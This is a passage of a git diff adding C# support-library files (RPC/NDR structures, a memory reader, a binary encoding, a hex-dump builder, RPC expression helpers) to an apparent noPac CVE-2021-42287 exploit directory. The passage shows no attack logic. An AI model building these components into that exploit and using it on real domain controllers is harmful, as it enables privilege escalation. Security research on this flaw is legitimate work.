} + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(MIDL_SYNTAX_INFO32))] + internal struct MIDL_SYNTAX_INFO + { + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr DispatchTable; // RPC_DISPATCH_TABLE + public IntPtr ProcString; // PFORMAT_STRING + public IntPtr FmtStringOffset; // const unsigned short* + public IntPtr TypeString; // PFORMAT_STRING + public IntPtr aUserMarshalQuadruple; // const void* + public IntPtr pMethodProperties; // const MIDL_INTERFACE_METHOD_PROPERTIES* + public IntPtr pReserved2; + } + + [Flags] + internal enum RpcFlags : uint + { + HasPipes = 0x0001, + Message = 0x01000000, + AutoComplete = 0x08000000, + LocalCall = 0x10000000, + InputSynchronous = 0x20000000, + Asynchronous = 0x40000000, + NonNdr = 0x80000000, + HasMultiSyntaxes = 0x02000000, + HasCallback = 0x04000000, + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(MIDL_STUB_DESC32))] + internal struct MIDL_STUB_DESC + { + public IntPtr RpcInterfaceInformation; + public IntPtr pfnAllocate; + public IntPtr pfnFree; + public IntPtr pGenericBindingInfo; + public IntPtr apfnNdrRundownRoutines; + public IntPtr aGenericBindingRoutinePairs; + public IntPtr apfnExprEval; + public IntPtr aXmitQuintuple; + public IntPtr pFormatTypes; + public int fCheckBounds; + /* Ndr library version. */ + public int Version; + public IntPtr pMallocFreeStruct; + public int MIDLVersion; + public IntPtr CommFaultOffsets; + // New fields for version 3.0+ + public IntPtr aUserMarshalQuadruple; + // Notify routines - added for NT5, MIDL 5.0 + public IntPtr NotifyRoutineTable; + public IntPtr mFlags; + // International support routines - added for 64bit post NT5 + public IntPtr CsRoutineTables; + public IntPtr ProxyServerInfo; + public IntPtr pExprInfo; + + public NDR_EXPR_DESC GetExprDesc(IMemoryReader reader) + { + if (pExprInfo != IntPtr.Zero) + { + return reader.ReadStruct(pExprInfo); + } + return new NDR_EXPR_DESC(); + } + + public RpcFlags GetFlags() + { + return (RpcFlags)(uint)mFlags.ToInt32(); + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(MIDL_SERVER_INFO32))] + internal struct MIDL_SERVER_INFO + { + public IntPtr pStubDesc; + public IntPtr DispatchTable; + public IntPtr ProcString; + public IntPtr FmtStringOffset; + public IntPtr ThunkTable; + public IntPtr pTransferSyntax; + public IntPtr nCount; + public IntPtr pSyntaxInfo; + + public MIDL_STUB_DESC GetStubDesc(IMemoryReader reader) + { + if (pStubDesc == IntPtr.Zero) + { + return new MIDL_STUB_DESC(); + } + return reader.ReadStruct(pStubDesc); + } + + public IntPtr[] GetDispatchTable(IMemoryReader reader, int dispatch_count) + { + if (DispatchTable == IntPtr.Zero) + { + return new IntPtr[dispatch_count]; + } + return reader.ReadArray(DispatchTable, dispatch_count); + } + + public RPC_SYNTAX_IDENTIFIER GetTransferSyntax(IMemoryReader reader) + { + if (pTransferSyntax == IntPtr.Zero) + { + return new RPC_SYNTAX_IDENTIFIER() { SyntaxGUID = NdrNativeUtils.DCE_TransferSyntax }; + } + return reader.ReadStruct(pTransferSyntax); + } + + public MIDL_SYNTAX_INFO[] GetSyntaxInfo(IMemoryReader reader) + { + if (nCount == IntPtr.Zero || pSyntaxInfo == IntPtr.Zero) + { + return new MIDL_SYNTAX_INFO[0]; + } + return reader.ReadArray(pSyntaxInfo, nCount.ToInt32()); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_VERSION + { + public ushort MajorVersion; + public ushort MinorVersion; + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_SYNTAX_IDENTIFIER + { + public Guid SyntaxGUID; + public RPC_VERSION SyntaxVersion; + + public RPC_SYNTAX_IDENTIFIER(Guid guid, ushort major, ushort minor) + { + SyntaxGUID = guid; + SyntaxVersion = new RPC_VERSION() { MajorVersion = major, MinorVersion = minor }; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(RPC_DISPATCH_TABLE32))] + internal struct RPC_DISPATCH_TABLE + { + public int DispatchTableCount; + public IntPtr DispatchTable; // RPC_DISPATCH_FUNCTION* + public IntPtr Reserved; + + public IntPtr[] GetDispatchTable(IMemoryReader reader) + { + return reader.ReadArray(DispatchTable, DispatchTableCount); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct RPC_PROTSEQ_ENDPOINT32 : IConvertToNative + { + public IntPtr32 RpcProtocolSequence; + public IntPtr32 Endpoint; + + public RPC_PROTSEQ_ENDPOINT Convert() + { + RPC_PROTSEQ_ENDPOINT ret = new RPC_PROTSEQ_ENDPOINT(); + ret.RpcProtocolSequence = RpcProtocolSequence.Convert(); + ret.Endpoint = Endpoint.Convert(); + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(RPC_PROTSEQ_ENDPOINT32))] + internal struct RPC_PROTSEQ_ENDPOINT + { + public IntPtr RpcProtocolSequence; + public IntPtr Endpoint; + + public string GetRpcProtocolSequence(IMemoryReader reader) + { + if (RpcProtocolSequence == IntPtr.Zero) + { + return string.Empty; + } + return reader.ReadAnsiStringZ(RpcProtocolSequence); + } + + public string GetEndpoint(IMemoryReader reader) + { + if (Endpoint == IntPtr.Zero) + { + return string.Empty; + } + return reader.ReadAnsiStringZ(Endpoint); + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(RPC_SERVER_INTERFACE32))] + internal struct RPC_SERVER_INTERFACE + { + public int Length; + public RPC_SYNTAX_IDENTIFIER InterfaceId; + public RPC_SYNTAX_IDENTIFIER TransferSyntax; + public IntPtr DispatchTable; // PRPC_DISPATCH_TABLE + public int RpcProtseqEndpointCount; + public IntPtr RpcProtseqEndpoint; // PRPC_PROTSEQ_ENDPOINT + public IntPtr DefaultManagerEpv; + public IntPtr InterpreterInfo; // MIDL_SERVER_INFO + public int Flags; + + public RPC_DISPATCH_TABLE GetDispatchTable(IMemoryReader reader) + { + if (DispatchTable == IntPtr.Zero) + { + return new RPC_DISPATCH_TABLE(); + } + + return reader.ReadStruct(DispatchTable); + } + + public MIDL_SERVER_INFO GetServerInfo(IMemoryReader reader) + { + if (InterpreterInfo == IntPtr.Zero) + { + return new MIDL_SERVER_INFO(); + } + return reader.ReadStruct(InterpreterInfo); + } + + public RPC_PROTSEQ_ENDPOINT[] GetProtSeq(IMemoryReader reader) + { + if (RpcProtseqEndpoint == IntPtr.Zero || RpcProtseqEndpointCount == 0) + { + return new RPC_PROTSEQ_ENDPOINT[0]; + } + return reader.ReadArray(RpcProtseqEndpoint, RpcProtseqEndpointCount); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct NDR_EXPR_DESC32 : IConvertToNative + { + public IntPtr32 pOffset; + public IntPtr32 pFormatExpr; + + public NDR_EXPR_DESC Convert() + { + NDR_EXPR_DESC ret = new NDR_EXPR_DESC(); + ret.pOffset = pOffset.Convert(); + ret.pFormatExpr = pFormatExpr.Convert(); + return ret; + } + } + + [StructLayout(LayoutKind.Sequential), CrossBitnessType(typeof(NDR_EXPR_DESC32))] + internal struct NDR_EXPR_DESC + { + public IntPtr pOffset; + public IntPtr pFormatExpr; + } + + [Flags] + internal enum MidlTypePicklingInfoFlags + { + None = 0, + NewCorrDesc = 0x1, + Oicf = 0x2, + } + + [StructLayout(LayoutKind.Sequential)] + internal struct MIDL_TYPE_PICKLING_INFO + { + public int Version; + public MidlTypePicklingInfoFlags Flags; + // UINT_PTR Reserved[3]; + } + + [Flags] + enum NdrInterpreterFlags : byte + { + FullPtrUsed = 0x01, + RpcSsAllocUsed = 0x02, + ObjectProc = 0x04, + HasRpcFlags = 0x08, + IgnoreObjectException = 0x10, + HasCommOrFault = 0x20, + UseNewInitRoutines = 0x40, + } + + [StructLayout(LayoutKind.Sequential)] + struct NdrProcHeaderExts + { + public byte Size; + public NdrInterpreterOptFlags2 Flags2; + public ushort ClientCorrHint; + public ushort ServerCorrHint; + public ushort NotifyIndex; + } + + [StructLayout(LayoutKind.Sequential)] + struct NdrProcHeaderExts64 + { + public byte Size; + public NdrInterpreterOptFlags2 Flags2; + public ushort ClientCorrHint; + public ushort ServerCorrHint; + public ushort NotifyIndex; + public ushort FloatArgMask; + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/NdrParser.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/NdrParser.cs new file mode 100644 index 0000000..12bbf89 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Ndr/NdrParser.cs @@ -0,0 +1,81 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +// NOTE: This file is a modified version of NdrParser.cs from OleViewDotNet +// https://github.com/tyranid/oleviewdotnet. It's been relicensed from GPLv3 by +// the original author James Forshaw to be used under the Apache License for this +// project. + +using Rubeus.Utilities.Memory; +using Rubeus.Win32; +//using NtApiDotNet.Win32.Debugger; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Linq; +using System.Runtime.InteropServices; + +namespace Rubeus.Ndr +{ +#pragma warning disable 1591 + [Flags] + [Serializable] + public enum NdrInterpreterOptFlags : byte + { + ServerMustSize = 0x01, + ClientMustSize = 0x02, + HasReturn = 0x04, + HasPipes = 0x08, + HasAsyncUuid = 0x20, + HasExtensions = 0x40, + HasAsyncHandle = 0x80, + } + + [Flags] + [Serializable] + public enum NdrInterpreterOptFlags2 : byte + { + HasNewCorrDesc = 0x01, + ClientCorrCheck = 0x02, + ServerCorrCheck = 0x04, + HasNotify = 0x08, + HasNotify2 = 0x10, + HasComplexReturn = 0x20, + HasRangeOnConformance = 0x40, + HasBigByValParam = 0x80, + Valid = HasNewCorrDesc | ClientCorrCheck | ServerCorrCheck | HasNotify | HasNotify2 | HasRangeOnConformance + } + +#pragma warning restore 1591 + + + + /// + /// Flags for the parser. + /// + [Flags] + public enum NdrParserFlags + { + /// + /// No flags. + /// + None = 0, + /// + /// Ignore processing any complex user marshal types. + /// + IgnoreUserMarshal = 1, + } + + +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/CrossBitnessTypeAttribute.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/CrossBitnessTypeAttribute.cs new file mode 100644 index 0000000..b096e74 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/CrossBitnessTypeAttribute.cs @@ -0,0 +1,40 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.Reflection; + +namespace Rubeus.Utilities.Memory +{ + internal class CrossBitnessTypeAttribute : Attribute + { + //private Lazy _base_method; + public Type CrossBitnessType { get; } + + private static MethodInfo GetMethodInfo(Type cross_bitness_type) + { + return null; + } + + public CrossBitnessTypeAttribute(Type cross_bitness_type) + { + + } + + public int GetSize() + { + return System.Runtime.InteropServices.Marshal.SizeOf(CrossBitnessType); + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/IMemoryReader.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/IMemoryReader.cs new file mode 100644 index 0000000..ee5513d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/IMemoryReader.cs @@ -0,0 +1,62 @@ +// Copyright 2018 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.IO; +using System.Runtime.InteropServices; + +namespace Rubeus.Utilities.Memory +{ + internal interface IConvertToNative where T : struct + { + T Convert(); + } + + [StructLayout(LayoutKind.Sequential)] + internal struct IntPtr32 : IConvertToNative + { + public int value; + + public IntPtr Convert() + { + return new IntPtr(value); + } + } + + [StructLayout(LayoutKind.Sequential)] + internal struct UIntPtr32 : IConvertToNative + { + public uint value; + + public UIntPtr Convert() + { + return new UIntPtr(value); + } + } + + internal interface IMemoryReader + { + byte ReadByte(IntPtr address); + byte[] ReadBytes(IntPtr address, int length); + short ReadInt16(IntPtr address); + IntPtr ReadIntPtr(IntPtr address); + int ReadInt32(IntPtr address); + T ReadStruct(IntPtr address) where T : struct; + T[] ReadArray(IntPtr address, int count) where T : struct; + BinaryReader GetReader(IntPtr address); + bool InProcess { get; } + int PointerSize { get; } + string ReadAnsiStringZ(IntPtr address); + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/SafeBufferWrapper.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/SafeBufferWrapper.cs new file mode 100644 index 0000000..3ea84ac --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Memory/SafeBufferWrapper.cs @@ -0,0 +1,34 @@ +// Copyright 2020 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.Runtime.InteropServices; + +namespace Rubeus.Utilities.Memory +{ + internal class SafeBufferWrapper : SafeBuffer + { + public SafeBufferWrapper(IntPtr buffer) + : base(false) + { + Initialize(int.MaxValue); + handle = buffer; + } + + protected override bool ReleaseHandle() + { + return true; + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Text/BinaryEncoding.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Text/BinaryEncoding.cs new file mode 100644 index 0000000..1bf6e51 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Text/BinaryEncoding.cs @@ -0,0 +1,109 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System.Text; + +namespace Rubeus.Utilities.Text +{ + /// + /// Encoding object which converts 1 to 1 with bytes. + /// + public sealed class BinaryEncoding : Encoding + { + /// + /// Default instance of the encoding. + /// + public static readonly BinaryEncoding Instance = new BinaryEncoding(); + + /// + /// Get the encoding name. + /// + public override string EncodingName => "Binary"; + + /// + /// Get byte count for characters. + /// + /// The character array. + /// Index into the array. + /// Number of characters in the array to use. + /// The number of bytes this character array requires. + public override int GetByteCount(char[] chars, int index, int count) => count; + + /// + /// Get bytes for characters. + /// + /// The character array. + /// Index into the array. + /// Number of characters in the array to use. + /// The index into the byte array. + /// The byte array to copy into. + /// The number of bytes generated. + public override int GetBytes(char[] chars, int charIndex, int charCount, byte[] bytes, int byteIndex) + { + for (int i = 0; i < charCount; ++i) + { + bytes[byteIndex + i] = (byte)chars[charIndex + i]; + } + + return charCount; + } + + /// + /// Get the character count for bytes. + /// + /// The byte array. + /// Index into the array. + /// Number of bytes in the array to use. + /// The number of characters this byte array requires. + public override int GetCharCount(byte[] bytes, int index, int count) => count; + + /// + /// Get byte count for characters. + /// + /// The character array. + /// Index into the array. + /// Number of bytes in the array to use. + /// The index into the byte array. + /// The byte array to copy into. + /// The number of characters generated. + public override int GetChars(byte[] bytes, int byteIndex, int byteCount, char[] chars, int charIndex) + { + for (int i = 0; i < byteCount; ++i) + { + chars[charIndex + i] = (char)bytes[byteIndex + i]; + } + + return byteCount; + } + + /// + /// Get maximum bytes for a number of characters. + /// + /// + /// + public override int GetMaxByteCount(int charCount) => charCount; + + /// + /// Get maximum characters for a number of bytes. + /// + /// + /// + public override int GetMaxCharCount(int byteCount) => byteCount; + + /// + /// Indicates if the encoding is a single byte. + /// + public override bool IsSingleByte => true; + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Text/HexDumpBuilder.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Text/HexDumpBuilder.cs new file mode 100644 index 0000000..a23d8eb --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Utilities/Text/HexDumpBuilder.cs @@ -0,0 +1,315 @@ +// Copyright 2020 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Rubeus.Utilities.Text +{ + /// + /// Class to build a hex dump from a stream of bytes. + /// + public sealed class HexDumpBuilder + { + private readonly Stream _data = null; + private readonly bool _can_write; + private readonly StringBuilder _builder = new StringBuilder(); + private readonly bool _print_address; + private readonly bool _print_ascii; + private readonly bool _hide_repeating; + private readonly long _address_offset; + private const int CHUNK_LIMIT = 256; + private byte[] _last_line = null; + private int _repeat_count = 0; + + private int GetDataLeft() + { + return (int)(_data.Length - _data.Position); + } + + private bool IsRepeatingLine(byte[] line) + { + if (!_hide_repeating) + return false; + byte[] last_line = _last_line; + _last_line = line; + if (last_line == null) + { + return false; + } + if (last_line.Length != line.Length) + { + return false; + } + + for (int i = 0; i < last_line.Length; ++i) + { + if (last_line[i] != line[i]) + return false; + } + return true; + } + + private void AppendChunks() + { + while (GetDataLeft() >= 16) + { + long curr_pos = _data.Position + _address_offset; + byte[] line = new byte[16]; + _data.Read(line, 0, 16); + + if (IsRepeatingLine(line)) + { + _repeat_count++; + continue; + } + else if(_repeat_count > 0) + { + _builder.AppendLine($"-> REPEATED {_repeat_count} LINES"); + _repeat_count = 0; + } + + if (_print_address) + { + if (curr_pos < uint.MaxValue) + { + _builder.AppendFormat("{0:X08}: ", curr_pos); + } + else + { + _builder.AppendFormat("{0:X016}: ", curr_pos); + } + } + for (int j = 0; j < 16; ++j) + { + _builder.AppendFormat("{0:X02} ", line[j]); + } + + if (_print_ascii) + { + _builder.Append(" - "); + for (int j = 0; j < 16; ++j) + { + byte b = line[j]; + char c = b >= 32 && b < 127 ? (char)b : '.'; + _builder.Append(c); + } + } + _builder.AppendLine(); + } + } + + private void AppendTrailing() + { + int line_length = GetDataLeft(); + System.Diagnostics.Debug.Assert(line_length < 16); + if (line_length == 0) + { + return; + } + + if (_repeat_count > 0) + { + _builder.AppendLine($"-> REPEATED {_repeat_count} LINES"); + } + + int j = 0; + if (_print_address) + { + long address = _data.Position + _address_offset; + if (address < uint.MaxValue) + { + _builder.AppendFormat("{0:X08}: ", address); + } + else + { + _builder.AppendFormat("{0:X016}: ", address); + } + } + + byte[] line = new byte[line_length]; + _data.Read(line, 0, line.Length); + + for (; j < line_length; ++j) + { + _builder.AppendFormat("{0:X02} ", line[j]); + } + for (; j < 16; ++j) + { + _builder.Append(" "); + } + if (_print_ascii) + { + _builder.Append(" - "); + for (j = 0; j < line_length; ++j) + { + byte b = line[j]; + char c = b >= 32 && b < 127 ? (char)b : '.'; + _builder.Append(c); + } + } + _builder.AppendLine(); + } + + /// + /// Append an array of bytes to the hex dump. + /// + /// The byte array. + public void Append(byte[] ba) + { + if (!_can_write) + throw new InvalidOperationException(); + long curr_pos = _data.Position; + _data.Position = _data.Length; + _data.Write(ba, 0, ba.Length); + _data.Position = curr_pos; + if (GetDataLeft() >= CHUNK_LIMIT) + { + AppendChunks(); + } + } + + /// + /// Complete the hex dump string. + /// + public void Complete() + { + AppendChunks(); + AppendTrailing(); + } + + /// + /// Finish builder and convert to a string. + /// + /// The hex dump. + public override string ToString() + { + return _builder.ToString(); + } + + /// + /// Constructor. + /// + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + /// Offset for address printing. + public HexDumpBuilder(bool print_header, bool print_address, bool print_ascii, bool hide_repeating, long address_offset) + : this(new MemoryStream(), print_header, print_address, print_ascii, hide_repeating, address_offset) + { + } + + /// + /// Constructor. + /// + /// The safe buffer to print. + /// The length to display. + /// The offset into the buffer to display. + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + public HexDumpBuilder(SafeBuffer buffer, long offset, long length, bool print_header, bool print_address, bool print_ascii, bool hide_repeating) + : this(new UnmanagedMemoryStream(buffer, offset, length == 0 ? (long)buffer.ByteLength : length), + print_header, print_address, print_ascii, hide_repeating, buffer.DangerousGetHandle().ToInt64()) + { + _address_offset = buffer.DangerousGetHandle().ToInt64(); + } + + /// + /// Constructor. + /// + /// The safe buffer to print. + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + public HexDumpBuilder(SafeBuffer buffer, bool print_header, bool print_address, bool print_ascii, bool hide_repeating) + : this(buffer, 0, (long)buffer.ByteLength, print_header, print_address, print_ascii, hide_repeating) + { + } + + /// + /// Constructor. + /// + /// The stream to print. + /// Print a header. + /// Print the address. + /// Print the ASCII text. + /// Hide repeating lines. + /// Offset for address printing. + public HexDumpBuilder(Stream stm, bool print_header, bool print_address, bool print_ascii, bool hide_repeating, long address_offset) + { + _address_offset = address_offset; + _data = stm; + _can_write = _data.CanSeek && _data.CanWrite; + _print_address = print_address; + _print_ascii = print_ascii; + _hide_repeating = hide_repeating; + if (print_header) + { + if (print_address) + { + if (address_offset > uint.MaxValue) + { + _builder.Append(' ', 18); + } + else + { + _builder.Append(' ', 10); + } + } + + _builder.Append("00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F "); + if (print_ascii) + { + _builder.AppendLine(" - 0123456789ABCDEF"); + } + else + { + _builder.AppendLine(); + } + int dash_count = 48; + if (print_address) + { + if (address_offset > uint.MaxValue) + { + dash_count += 18; + } + else + { + dash_count += 10; + } + } + if (print_ascii) + { + dash_count += 19; + } + _builder.Append('-', dash_count); + _builder.AppendLine(); + } + } + + /// + /// Constructor. + /// + public HexDumpBuilder() + : this(false, false, false, false, 0) + { + } + } +} diff --git a/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Win32/Rpc/RpcUtils.cs b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Win32/Rpc/RpcUtils.cs new file mode 100644 index 0000000..6a62e52 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-42287/noPac/noPac/lib/ndr/Win32/Rpc/RpcUtils.cs @@ -0,0 +1,482 @@ +// Copyright 2019 Google Inc. All Rights Reserved. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +using Rubeus.Ndr.Marshal; +using System; +using System.Diagnostics; +using System.IO; + +namespace Rubeus.Win32.Rpc +{ + /// + /// Some addition internal utilities for RPC code. + /// + public static class RpcUtils + { + internal static TraceSwitch RpcTraceSwitch = new TraceSwitch("RpcTrace", "RPC Tracing"); + + internal static byte[] ReadAllBytes(this BinaryReader reader, int length) { + byte[] ret = reader.ReadBytes(length); + if (ret.Length != length) { + throw new EndOfStreamException(); + } + return ret; + } + + /// + /// Specify RPC trace level. + /// + /// Specify the RPC trace level. + public static void SetRpcTraceLevel(TraceLevel level) + { + RpcTraceSwitch.Level = level; + } + + /// + /// Helper to dereference a type. + /// + /// The type to dereference. + /// The value to dereference. + /// The dereferenced result. + public static T DeRef(T t) + { + return t; + } + + /// + /// Helper to dereference a type. + /// + /// The type to dereference. + /// The value to dereference. + /// The dereferenced result. + public static T DeRef(T? t) where T : struct + { + return t.Value; + } + + /// + /// Helper to check for NULL. + /// + /// The type to check. + /// The object to check. + /// The name of the value to check. + /// The checked value. + public static T CheckNull(T obj, string name) where T : class + { + if (obj == null) + { + throw new ArgumentNullException(name); + } + return obj; + } + + /// + /// Helper to check for NULL. + /// + /// The type to check. + /// The object to check. + /// The name of the value to check. + /// The checked value. + public static T[] CheckNull(T[] obj, string name) + { + if (obj == null) + { + throw new ArgumentNullException(name); + } + return obj; + } + + /// + /// Helper to check for NULL. + /// + /// The type to check. + /// The object to check. + /// The name of the value to check. + /// The checked value. + public static T CheckNull(T? obj, string name) where T : struct + { + if (!obj.HasValue) + { + throw new ArgumentNullException(name); + } + return obj.Value; + } + + /// + /// Helper to dereference a type. + /// + /// The type to dereference. + /// The value to dereference. + /// The dereferenced result. + public static T DeRef(NdrEmbeddedPointer t) + { + return t.GetValue(); + } + + /// + /// Helper to perform a plus unary operation. + /// + /// The value to apply the operator to. + /// The result. + public static long OpPlus(long v) + { + return +v; + } + + /// + /// Helper to perform a minus unary operation. + /// + /// The value to apply the operator to. + /// The result. + public static long OpMinus(long v) + { + return -v; + } + + /// + /// Helper to perform a complement unary operation. + /// + /// The value to apply the operator to. + /// The result. + public static long OpComplement(long v) + { + return ~v; + } + + /// + /// Perform a ternary operation. + /// + /// The condition to evaluate as != 0. + /// The result if true. + /// The result if false. + /// The result. + public static int OpTernary(bool condition, long true_value, long false_value) + { + return (int)(condition ? true_value : false_value); + } + + /// + /// Perform ADD. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpPlus(long left, long right) + { + return (int)(left + right); + } + + /// + /// Perform SUB. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpMinus(long left, long right) + { + return (int)(left - right); + } + + /// + /// Perform MUL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpStar(long left, long right) + { + return (int)(left * right); + } + + /// + /// Perform DIV. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpSlash(long left, long right) + { + return (int)(left / right); + } + + /// + /// Perform MOD. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpMod(long left, long right) + { + return (int)(left % right); + } + + /// + /// Perform Bitwise AND. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpBitwiseAnd(long left, long right) + { + return (int)(left & right); + } + + /// + /// Perform Bitwise OR. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpBitwiseOr(long left, long right) + { + return (int)(left | right); + } + + /// + /// Perform bitwise XOR. Needed as Code DOM doesn't support XOR. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpXor(long left, long right) + { + return (int)(left ^ right); + } + + /// + /// Perform bitwise LEFTSHIFT. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLeftShift(long left, long right) + { + return (int)(left << (int)right); + } + + /// + /// Perform bitwise RIGHTSHIFT. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpRightShift(long left, long right) + { + return (int)(left >> (int)right); + } + + /// + /// Perform logical AND. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLogicalAnd(long left, long right) + { + return ToInt(ToBool(left) && ToBool(right)); + } + + /// + /// Perform logical OR. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLogicalOr(long left, long right) + { + return ToInt(ToBool(left) || ToBool(right)); + } + + /// + /// Perform EQUAL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpEqual(long left, long right) + { + return ToInt(left == right); + } + + /// + /// Perform NOTEQUAL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpNotEqual(long left, long right) + { + return ToInt(left != right); + } + + /// + /// Perform GREATER. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpGreater(long left, long right) + { + return ToInt(left > right); + } + + /// + /// Perform GREATEREQUAL. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpGreaterEqual(long left, long right) + { + return ToInt(left >= right); + } + + /// + /// Perform LESS. + /// + /// The left operand. + /// The right operand. + /// The result. + public static int OpLess(long left, long right) + { + return ToInt(left < right); + } + + /// + /// Perform LESSEQUAL. + /// + /// The left operand. + /// The right operand. + /// Returns left LESSEQUAL right. + public static int OpLessEqual(long left, long right) + { + return ToInt(left <= right); + } + + private static int ToInt(bool b) + { + return b ? 1 : 0; + } + + /// + /// Convert value to a 